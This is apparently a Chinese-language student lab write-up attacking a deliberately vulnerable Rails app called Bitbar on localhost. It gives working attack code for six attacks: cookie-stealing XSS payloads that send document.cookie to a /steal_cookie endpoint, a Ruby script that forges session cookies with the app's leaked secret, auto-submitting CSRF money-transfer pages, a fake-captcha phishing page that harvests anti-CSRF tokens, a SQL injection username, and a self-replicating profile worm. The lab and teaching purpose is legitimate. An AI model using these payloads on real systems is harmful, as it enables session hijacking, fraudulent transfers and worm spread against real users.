根据路由

get 'profile' => 'user#view_profile'

定位到函数

def view_profile
@username = params[:username]
@user = User.find_by_username(@username)
if not @user
if @username and @username != ""
@error = "User #{@username} not found"
elsif logged_in?
@user = @logged_in_user
end
end

render :profile
end

可以看到,输入的 username 被直接给打印出来,那么自然就存在XSS漏洞了。

payload

<script type="text/javascript">(new Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie</script>

或者使用 xmlhttprequest 发送

<script type="text/javascript">var x = new XMLHttpRequest();x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));x.send()</script>

Attack 2: Session hijacking with Cookies

参考这篇文章

上图说明了原始的 Session 对象 Session Data 是如何最终生成 Cookie 的

原来的加密过程:

  1. 序列化
  2. 填充,aes-cbc加密,结果用base64编码
  3. hmac-sha1签名
  4. 将加密的数据和签名通过 -- 连接

但是意外地发现,bitbar的cookie并没有aes加密,可以通过

  1. base64解码
  2. 反序列化

得到原始信息,那么这么一来,就只需要绕过验签这一个障碍了

config/initializers/secret_token.rb

# Be sure to restart your server when you modify this file.

# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!

# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.

# Make sure your secret_key_base is kept private
# if you're sharing your code publicly.
Bitbar::Application.config.secret_token = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

这就是hmac-sha1的加解密密钥

ok,到此为止我们就能伪造数据了

  1. attacke用户登陆,获取到当前的cookie
  2. 修改cookie值

这里需要用到 mechanize 这个包,安装

gem install mechanize

模拟登陆实现

agent = Mechanize.new #实例化对象
url = "http://localhost:3000/login"

page = agent.get(url) # 获得网页

form = page.forms.first # 第一个表单
form['username'] = form['password'] = 'attacker' # 填写表单,用户名和密码都是attacker
agent.submit form # 提交表单

这就相当于登陆了,然后我们获得cookie信息

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

session如下:

{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

很明显, 我们只需要修改 logged_in_id 为1即可

session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

puts "document.cookie='#{cookie_full}';"

这时候得到的session

document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';

然后再发送数据,比如访问 http://localhost:3000/profile

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

此时我们就能看到,

浏览器已经认为我们是 user1

完整代码

require 'mechanize'
require 'net/http'
SESSION = '_bitbar_session'
RAILS_SECRET = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

agent = Mechanize.new
url = "http://localhost:3000/login"

page = agent.get(url)

form = page.forms.first
form['username'] = form['password'] = 'attacker'
agent.submit form

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

puts session
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

Attack 3: Cross-site Request Forgery

分析,登陆 user1,向attacker转帐,抓到的数据包如下

可见,只需要构造一个表单自动提交即可

b.html 内容如下

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>

<form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="pay">
<input type="hidden" name="destination_username" value="attacker">
<input type="hidden" name="quantity" value=10>
</form>

<script type="text/javascript">
function validate(){
document.getElementById("pay").submit();
}
window.load = validate();
setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
</script>
</body>
</html>

表单的字段都是隐藏的,并且值都是给定的,之后通过

document.getElementById("pay").submit();

实现自动提交

最后

setTimeout(function(){window.location = "http://baidu.com";}, 0.1);

0.1s 后跳转到百度首页

也可以使用 xmlhttprequest ,一样的思路

<html>
<body>
<script>
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=10&destination_username=attacker");
} catch (err) {
//
} finally {
window.location = "http://baidu.com/";
}
</script>
</body>
</html>

Attack 4: Cross-site request forgery with user assistance

由于 http://localhost:3000/super_secure_transfer 转账的时候,表单带上了一个随机token,所以没办法通过 CSRF 来转帐,只能通过钓鱼的办法,欺骗用户输入自己的 Super Secret Token,这样我们就能绕过服务器的校验了

bp2.html 可以使用上一个的代码

bp.html

<html>
<head>
<title>23333</title>
</head>
<body>
<style type="text/css">
iframe {
width: 100%;
height: 100%;
border: none;
}
</style>
<script></script>
<iframe src="bp2.html" scrolling="no"></iframe>
</body>
</html>

bp2.html

<p>请输入 super_secure_post_transfer 页面下的 Super Secret Token 来证明你不是机器人</p>

<input id="token" type="text" placeholder="Captcha">
<button onClick="gotEm()">Confirm</button>

<script>
function gotEm() {
var token = document.getElementById("token").value;
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/super_secure_post_transfer", false);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=10&destination_username=attacker&tokeninput=" + token);
} catch (err) {
// Do nothing on inevitable XSS error
} finally {
window.top.location = "http://baidu.com";
}
}
</script>

Attack 5: Little Bobby Tables (aka SQL Injection)

删除用户的逻辑如下

def post_delete_user
if not logged_in?
render "main/must_login"
return
end

@username = @logged_in_user.username
User.destroy_all("username = '#{@username}'")

reset_session
@logged_in_user = nil
render "user/delete_user_success"
end

可以看到输入的用户名没有经过任何的过滤直接拼接到了SQL语句中,我们看到后台执行的SQL语句

如果我们的用户名中含有user3即可将user3删除

那么如果我们注册用户

user3' or username GLOB 'user3?*

拼接出来的SQL语句必然是

delete from users where username = user3 or username GLOB 'user3?*'

登陆

删除

此时可以看到后台执行的SQL语句

Attack 6: Profile Worm

问题出在渲染用户的profile上面

profile.html.erb 中,渲染用户的 profile 代码如下

<% if @user.profile and @user.profile != "" %>
<div id="profile"><%= sanitize_profile(@user.profile) %></div>
<% end %>

调用了函数 sanitize_profile

def sanitize_profile(profile)
return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span), attributes: %w(id class href colspan rowspan src align valign))
end

其中 santitize 函数,通过 tagsattributes 可以指定允许的标签和属性白名单。

然而属性中出现了 href,这意味着我们可以使用JavaScript伪协议来XSS

参考: https://ruby-china.org/topics/28760

比如

<strong id="bitbar_count" class="javascript:alert(1)"></strong>

更新自己的 profile 时,查看自己的profile,即可弹窗

如果有用户浏览当前的profile,那么将会发生两个操作

  1. 转账操作
  2. 更新用户的profile

转账操作的代码如下

var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=1&destination_username=attacker");
} catch (err) {
//
} finally {
//xxxx 带执行的操作
}

转帐完成之后,我们需要立即更新当前浏览用户的 profile

设置 profile 的数据包如下

只需要向路由 /set_profile 发送请求即可

request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('hax-wrap').outerHTML)));

遇到的问题:

  1. 发送的数据含有html转移后的 & 符号。如图

这里我采用的是 String.fromCharCode() 来将其做一次转换

  1. 字符串拼接只能用 concat 而不能用 + ,因为 + 号在 html 中是空格的意思

最后的代码

<span id="wrap">
<span id="bitbar_count" class="eval(document['getElementById']('pxy')['innerHTML'])"></span>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
setTimeout(function(){

var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
} catch (err) {
//
} finally {
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
}

}, 0);
10;
</span>
<p>233333</p>
</span>

ps: 也可以用 js 动态创建 form表单的方式,但是这样页面是会跳转的,无法满足

在转账和profile的赋值过程中,浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ,其中x是profile被浏览的用户名。

附上js动态创建form表单的代码

<span id="wrap">
<strong id="bitbar_count" class="eval((document['getElementById']('pxy').innerHTML))"></strong>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
function makeForm(){
var form = document.createElement("form");
form.id = "pay";

document.body.appendChild(form);
var input = document.createElement("input");
input.type = "text";

input.name = "destination_username";
input.value = "attacker";
input.type = 'hidden';

form.appendChild(input);
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "quantity";
input2.value = 10

form.appendChild(input2);
form.action = "http://localhost:3000/post_transfer";
form.method = "POST";
form.enctype = "application/x-www-form-urlencode";
form.submit();
}
makeForm();
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
</span>
</span>